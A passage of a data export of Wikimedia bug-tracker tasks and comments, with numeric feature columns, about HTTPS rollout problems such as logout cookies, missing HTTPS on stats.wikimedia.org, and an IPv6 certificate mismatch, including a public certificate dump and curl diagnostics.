+**Severity**: normal",Medium,50.0,1320243600,1464731397.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_description,resolved,True,c2,1,False,False,False,-95,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+671897,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Assuming this is no longer an issue, since login via HTTP is impossible.",,,1464731397,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,True,,,143,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+508164,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well",Reopening per T41676#1534951,,,1439546464,,PHID-USER-2wibf62nhsbcjs6773je,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+507379,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well",Invalid with move to HTTPS only,,,1439472123,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+162162,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","(In reply to comment #1)
+> 
+> Wondering if bug 20643 would bring any changes. Probably not.
+
+That bug is long fixed for all but a few special cases...
+
+When you log out, wouldn't you want all your sessions to be logged out (even for other sessions for other computers)?",,,1360168116,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,1,False,,,-29,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+162158,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Confirming: When I log in via HTTP and log out via HTTPS, I'm still logged in via HTTP. Tested with Opera 12.02 (removed any cookies before) on cs.wikipedia.org.
+
+Wondering if bug 20643 would bring any changes. Probably not.",,,1359482489,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,1,True,,,-31,True,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+34143,[OPS] stats.wikimedia.org not HTTPS enabled,"When trying to access stats.wikimedia.org via https:// (I just did a copy and paste of url), it throws up an authentication form for username and password with text ""Nagios Access"".  I am not sure whether this is the expected behaviour.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://stats.wikimedia.org
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=4749",Medium,50.0,1320228060,1380122860.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-3h7bflu7jjwfciy353hl,task_description,resolved,True,c2,1,False,False,True,-95,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+162127,[OPS] stats.wikimedia.org not HTTPS enabled,"https://gerrit.wikimedia.org/r/#/c/85971/
+https://gerrit.wikimedia.org/r/#/c/85973/
+https://gerrit.wikimedia.org/r/#/c/85981/
+https://gerrit.wikimedia.org/r/#/c/85984/
+
+and then finally
+
+-->  https://stats.wikimedia.org/
+
+08:12 < mutante> drdee: summary: https://stats.wikimedia.org/  (no cert error), https://metrics.wikimedia.org/ (no cert error), -not using wildcard certs, -puppet run unbroken, -apache site is template
+
+
+metrics.wikimedia and stats.wikimedia now both use their own certs, no ""star"" certs around here :)",,,1380122860,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1
+162122,[OPS] stats.wikimedia.org not HTTPS enabled,i don't see the Apache config for this in puppet. I just see the template for metrics.wm. Or where is it?,,,1376047702,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+162118,[OPS] stats.wikimedia.org not HTTPS enabled,"https://stats.wikimedia.org/ works but with the wrong cert.
+
+stats.wikimedia.org uses an invalid security certificate.
+
+The certificate is only valid for metrics.wikimedia.org",,,1376046724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+162110,[OPS] stats.wikimedia.org not HTTPS enabled,"Quick update from RT ticket:
+
+DONE: Cert is purchased and in public repo in files/ssl/stats.wikimedia.org.pem . The key is in private repo.
+TODO: The manifests for the stats.w.o site need to be updated in puppet to make use of the certificates.",,,1374771096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+162104,[OPS] stats.wikimedia.org not HTTPS enabled,I have created RT #4749 to request HTTPS for stats.wikimedia.org.,,,1363468992,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+162100,[OPS] stats.wikimedia.org not HTTPS enabled,stats.wikimedia.org does not listen to HTTPS. Rephrasing summary.,,,1359719810,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-30,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+162097,[OPS] stats.wikimedia.org not HTTPS enabled,"if the new ""stat1"" server currently being setup will host stats.wm, that should be resolved there soon.",,,1328618771,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0
+162094,[OPS] stats.wikimedia.org not HTTPS enabled,"(In reply to comment #2)
+> Link to RT ticket?
+https://rt.wikimedia.org/Ticket/Display.html?id=1614
+
+Ryan replied on Oct 3 saying the web server on spence isn't puppetized, no activity otherwise.",,,1320257016,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,False,,,-95,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0
+162090,[OPS] stats.wikimedia.org not HTTPS enabled,Link to RT ticket?,,,1320256907,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,True,,,-95,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+162084,[OPS] stats.wikimedia.org not HTTPS enabled,"No, this is a bug. I've filed it in the ops team's RT tracker but it's not getting any love there so far.",,,1320228823,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7bflu7jjwfciy353hl,task_subcomment,,True,c2,1,False,,,-95,True,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+33826,Provide HTTPS URLs in commit mail,"Mails to the mailing list mediawiki-cvs start with a URL that leads to code review like:
+
+http://www.mediawiki.org/wiki/Special:Code/MediaWiki/100252
+
+Please change this to be a HTTPS link like:
+
+https://www.mediawiki.org/wiki/Special:Code/MediaWiki/100252
+
+Slightly related to bug 29008.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1319051040,1321392420.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-k63deq6wvauhgjdtyt55,task_description,resolved,True,c2,1,False,False,True,-97,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+152673,Provide HTTPS URLs in commit mail,"Fixed this a little while back, marking as such.",,,1321392420,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0
+152666,Provide HTTPS URLs in commit mail,"Hooks are now maintained in puppet, those versions in subversion are outdated. I'll take care of this today.",,,1319556571,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-97,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+152661,Provide HTTPS URLs in commit mail,"Hook updated in https://www.mediawiki.org/wiki/Special:Code/MediaWiki/100702 (r100702 is probably also http, not https - wil look into that). Needs to be deployed. Adding shell keyword.",,,1319555528,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,False,,,-97,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+152652,Provide HTTPS URLs in commit mail,"These URLs aren't generated by MediaWiki, so no direct relation to bug 29008 -- the post-commit hooks in the SVN repo will need to be tweaked.",,,1319051160,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-k63deq6wvauhgjdtyt55,task_subcomment,,True,c2,1,True,,,-97,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+33800,upload.wikimedia.org provides wrong certificate via IPv6,"**Author:** `maxi`
+
+**Description:**
+When connectiong via IPv6 to upload.wikimedia.org a wrong certificate is shown.
+
+The certificate is issued for ""*.wikimediafoundation.org"" and ""wikimediafoundation.org"" which does not match upload.wikimedia.org. See below.
+
+ - Certificate[0] info:
+  - X.509 Certificate Information:
+        Version: 3
+        Serial Number (hex): 027a5f
+        Issuer: C=US,O=GeoTrust\, Inc.,CN=RapidSSL CA
+        Validity:
+                Not Before: Mon Jul 18 07:19:38 UTC 2011
+                Not After: Tue Jul 19 16:14:20 UTC 2016
+        Subject: serialNumber=DN84DBlZKsoLji7PlLHE4Pyj6ARQXJ-L,C=US,O=*.wikimediafoundation.org,OU=GT55614722,OU=See www.rapidssl.com/resources/cps (c)11,OU=Domain Control Validated - RapidSSL(R),CN=*.wikimediafoundation.org
+        Subject Public Key Algorithm: RSA
+        Certificate Security Level: Low
+                Modulus (bits 2048):
+                        00:c3:79:a7:e0:cc:5f:7b:cc:10:5b:d2:eb:88:0d:55
+                        ee:66:da:63:7c:0d:73:19:e8:04:85:95:d1:7f:b1:ae
+                        fa:92:60:c8:8c:79:99:72:5b:c6:42:72:80:b9:b5:9a
+                        11:6a:43:0f:d1:f3:c7:87:84:79:5d:56:56:b5:97:f9
+                        2e:39:5a:61:18:8b:4f:83:56:94:38:30:44:a9:43:79
+                        1f:ed:3f:36:ef:33:61:21:ca:fa:e3:90:3e:c9:52:18
+                        6e:c5:3d:24:19:52:a7:90:ed:75:7a:b4:6f:40:e5:58
+                        57:75:75:54:a2:ba:07:5c:26:57:66:7c:d4:46:f3:82
+                        fe:c9:29:be:86:be:3c:a2:d7:e4:6e:5a:3a:fe:77:df
+                        76:85:97:79:08:00:6b:66:fd:be:fd:1d:e5:f5:36:16
+                        7c:92:a3:12:17:b0:f5:72:9a:7a:6b:e4:d8:31:42:70
+                        3e:84:b4:8c:ae:69:c2:29:34:b1:89:c7:60:85:f4:2e
+                        33:8a:1a:4a:50:26:dd:4d:7b:34:71:85:02:1e:6f:1d
+                        8f:f1:db:b2:e0:6c:05:a5:b0:98:c1:74:39:2d:04:9d
+                        cb:51:80:36:d9:e8:bb:3f:76:27:01:c9:65:f4:d5:dd
+                        04:fe:1e:f7:0e:c2:c4:59:84:c8:b1:04:71:c8:f6:aa
+                        bb
+                Exponent (bits 24):
+                        01:00:01
+        Extensions:
+                Authority Key Identifier (not critical):
+                        6b693d6a18424add8f026539fd35248678911630
+                Key Usage (critical):
+                        Digital signature.
+                        Key encipherment.
+                Key Purpose (not critical):
+                        TLS WWW Server.
+                        TLS WWW Client.
+                Subject Alternative Name (not critical):
+                        DNSname: *.wikimediafoundation.org
+                        DNSname: wikimediafoundation.org
+                CRL Distribution points (not critical):
+                        URI: http://rapidssl-crl.geotrust.com/crls/rapidssl.crl
+                Subject Key Identifier (not critical):
+                        16f250574f6b2250a9caa67c53a7b59b9eefbc5c
+                Basic Constraints (critical):
+                        Certificate Authority (CA): FALSE
+                Unknown extension 1.3.6.1.5.5.7.1.1 (not critical):
+                        ASCII: 0;09..+.....0..-http://rapidssl-aia.geotrust.com/rapidssl.crt
+                        Hexdump: 303b303906082b06010505073002862d687474703a2f2f726170696473736c2d6169612e67656f74727573742e636f6d2f726170696473736c2e637274
+        Signature Algorithm: RSA-SHA1
+        Signature:
+                84:98:5c:64:9a:f1:09:05:31:5c:3f:89:56:41:a4:4c
+                02:3d:8c:87:db:d2:31:91:21:1b:4a:f8:a7:83:5d:2c
+                8d:90:63:ff:02:b5:7e:57:9e:42:22:63:23:cb:36:6d
+                d8:a5:46:a2:97:68:97:ee:b9:ce:29:b4:89:bd:13:82
+                01:c3:d2:eb:81:07:16:5a:38:18:97:fe:05:22:e0:ad
+                7b:b1:c8:2a:8c:47:e8:60:cc:63:ae:61:2d:5f:45:a8
+                e1:b6:eb:d2:8d:03:a1:84:0e:74:1c:af:75:f8:ab:10
+                09:85:31:c0:58:16:82:fd:ca:eb:4e:7c:79:4c:cb:ec
+                a7:39:70:96:ce:f5:fb:56:14:5b:c6:20:f7:8b:63:b3
+                f7:90:84:2f:dd:bb:99:54:86:cf:e6:38:b4:e1:f9:a2
+                85:61:05:0f:6f:51:73:04:76:60:a6:b5:c9:4d:18:ee
+                27:17:6a:a7:cb:d9:c4:3d:a3:8d:7e:74:5a:1d:25:41
+                ad:9e:ea:41:03:d1:c3:0f:a1:62:ed:76:04:cd:1e:62
+                e6:0c:77:c7:34:e4:48:6e:85:83:e1:a0:c4:62:ab:5d
+                e4:21:7d:89:d8:0c:d4:e2:8f:79:86:a4:4b:09:01:79
+                05:64:5c:e3:ab:2c:85:1e:b1:be:fb:93:c1:ec:42:89
+Other Information:
+        MD5 fingerprint:
+                272480c41a073648db7fedd9066e96be
+        SHA-1 fingerprint:
+                70616f43e39edd64c5aedaa3f79372e654d0e30c
+        Public Key Id:
+                16f250574f6b2250a9caa67c53a7b59b9eefbc5c
+
+
+-----BEGIN CERTIFICATE-----
+MIIFBTCCA+2gAwIBAgIDAnpfMA0GCSqGSIb3DQEBBQUAMDwxCzAJBgNVBAYTAlVT
+MRcwFQYDVQQKEw5HZW9UcnVzdCwgSW5jLjEUMBIGA1UEAxMLUmFwaWRTU0wgQ0Ew
+HhcNMTEwNzE4MDcxOTM4WhcNMTYwNzE5MTYxNDIwWjCB+TEpMCcGA1UEBRMgRE44
+NERCbFpLc29Mamk3UGxMSEU0UHlqNkFSUVhKLUwxCzAJBgNVBAYTAlVTMSIwIAYD
+VQQKDBkqLndpa2ltZWRpYWZvdW5kYXRpb24ub3JnMRMwEQYDVQQLEwpHVDU1NjE0
+NzIyMTEwLwYDVQQLEyhTZWUgd3d3LnJhcGlkc3NsLmNvbS9yZXNvdXJjZXMvY3Bz
+IChjKTExMS8wLQYDVQQLEyZEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQgLSBSYXBp
+ZFNTTChSKTEiMCAGA1UEAwwZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZzCCASIw
+DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMN5p+DMX3vMEFvS64gNVe5m2mN8
+DXMZ6ASFldF/sa76kmDIjHmZclvGQnKAubWaEWpDD9Hzx4eEeV1WVrWX+S45WmEY
+i0+DVpQ4MESpQ3kf7T827zNhIcr645A+yVIYbsU9JBlSp5DtdXq0b0DlWFd1dVSi
+ugdcJldmfNRG84L+ySm+hr48otfkblo6/nffdoWXeQgAa2b9vv0d5fU2FnySoxIX
+sPVymnpr5NgxQnA+hLSMrmnCKTSxicdghfQuM4oaSlAm3U17NHGFAh5vHY/x27Lg
+bAWlsJjBdDktBJ3LUYA22ei7P3YnAcll9NXdBP4e9w7CxFmEyLEEccj2qrsCAwEA
+AaOCAVAwggFMMB8GA1UdIwQYMBaAFGtpPWoYQkrdjwJlOf01JIZ4kRYwMA4GA1Ud
+DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwPQYDVR0R
+BDYwNIIZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZ4IXd2lraW1lZGlhZm91bmRh
+dGlvbi5vcmcwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL3JhcGlkc3NsLWNybC5n
+ZW90cnVzdC5jb20vY3Jscy9yYXBpZHNzbC5jcmwwHQYDVR0OBBYEFBbyUFdPayJQ
+qcqmfFOntZue77xcMAwGA1UdEwEB/wQCMAAwSQYIKwYBBQUHAQEEPTA7MDkGCCsG
+AQUFBzAChi1odHRwOi8vcmFwaWRzc2wtYWlhLmdlb3RydXN0LmNvbS9yYXBpZHNz
+bC5jcnQwDQYJKoZIhvcNAQEFBQADggEBAISYXGSa8QkFMVw/iVZBpEwCPYyH29Ix
+kSEbSving10sjZBj/wK1fleeQiJjI8s2bdilRqKXaJfuuc4ptIm9E4IBw9LrgQcW
+WjgYl/4FIuCte7HIKoxH6GDMY65hLV9FqOG269KNA6GEDnQcr3X4qxAJhTHAWBaC
+/crrTnx5TMvspzlwls71+1YUW8Yg94tjs/eQhC/du5lUhs/mOLTh+aKFYQUPb1Fz
+BHZgprXJTRjuJxdqp8vZxD2jjX50Wh0lQa2e6kED0cMPoWLtdgTNHmLmDHfHNORI
+boWD4aDEYqtd5CF9idgM1OKPeYakSwkBeQVkXOOrLIUesb77k8HsQok=
+-----END CERTIFICATE-----
+
+$ host upload.wikimedia.org
+upload.wikimedia.org is an alias for upload.esams.wikimedia.org.
+upload.esams.wikimedia.org has address 91.198.174.234
+upload.esams.wikimedia.org has IPv6 address 2620:0:862:1::80:2
+
+
+When using the IPv4 address a valid certificate is provided.
+
+This is especially annoying because I get certificate warnings every time I vistit a wikipedia page via https.
+
+Please let me know If you need any additional information.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1318956120,1337009170.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_description,resolved,True,c2,1,False,False,True,-98,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+150952,upload.wikimedia.org provides wrong certificate via IPv6,"Seems resolved now, maybe in the overall SSL deployment?
+
+$ curl -v https://upload.wikimedia.org/
+* About to connect() to upload.wikimedia.org port 443 (#0)
+*   Trying 2620:0:862:1::80:2...
+* connected
+* Connected to upload.wikimedia.org (2620:0:862:1::80:2) port 443 (#0)
+* successfully set certificate verify locations:
+*   CAfile: none
+  CApath: /etc/ssl/certs
+* SSLv3, TLS handshake, Client hello (1):
+* SSLv3, TLS handshake, Server hello (2):
+* SSLv3, TLS handshake, CERT (11):
+* SSLv3, TLS handshake, Server finished (14):
+* SSLv3, TLS handshake, Client key exchange (16):
+* SSLv3, TLS change cipher, Client hello (1):
+* SSLv3, TLS handshake, Finished (20):
+* SSLv3, TLS change cipher, Client hello (1):
+* SSLv3, TLS handshake, Finished (20):
+* SSL connection using RC4-SHA
+* Server certificate:
+* 	 subject: serialNumber=3Te2KNVS3beWLBffkE0QtVQ4qxo3Ix10; C=US; O=*.wikimedia.org; OU=GT11518520; OU=See www.rapidssl.com/resources/cps (c)10; OU=Domain Control Validated - RapidSSL(R); CN=*.wikimedia.org
+* 	 start date: 2010-08-03 15:43:56 GMT
+* 	 expire date: 2015-08-22 22:23:10 GMT
+* 	 subjectAltName: upload.wikimedia.org matched
+* 	 issuer: C=US; O=Equifax; OU=Equifax Secure Certificate Authority
+* 	 SSL certificate verify ok.",,,1337009170,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_subcomment,,True,c2,1,False,,,-68,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+150947,upload.wikimedia.org provides wrong certificate via IPv6,Filed in ops' internal RT tracker: http://rt.wikimedia.org/Ticket/Display.html?id=1763,,,1319049349,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_subcomment,,True,c2,1,True,,,-97,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+33776,https svn.wikimedia.org missing viewvc capability,"Looks like svn.wikimedia.org was restructured. At the moment, it points to the ""formey"" server which also host gerrit.
+
+The viewvc tool is no more reachable : https://svn.wikimedia.org/viewvc/mediawiki/trunk/
+We have it linked from www.mediawiki.org main page. Did someone forgot to reinstall viewvc? :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1318858560,1328609771.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_description,resolved,True,c2,1,True,False,True,-98,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0
+149306,https svn.wikimedia.org missing viewvc capability,"the linked RT ticket has been resolved in November and this also works meanwhile:
+
+https://svn.wikimedia.org/viewvc/mediawiki/trunk/
+
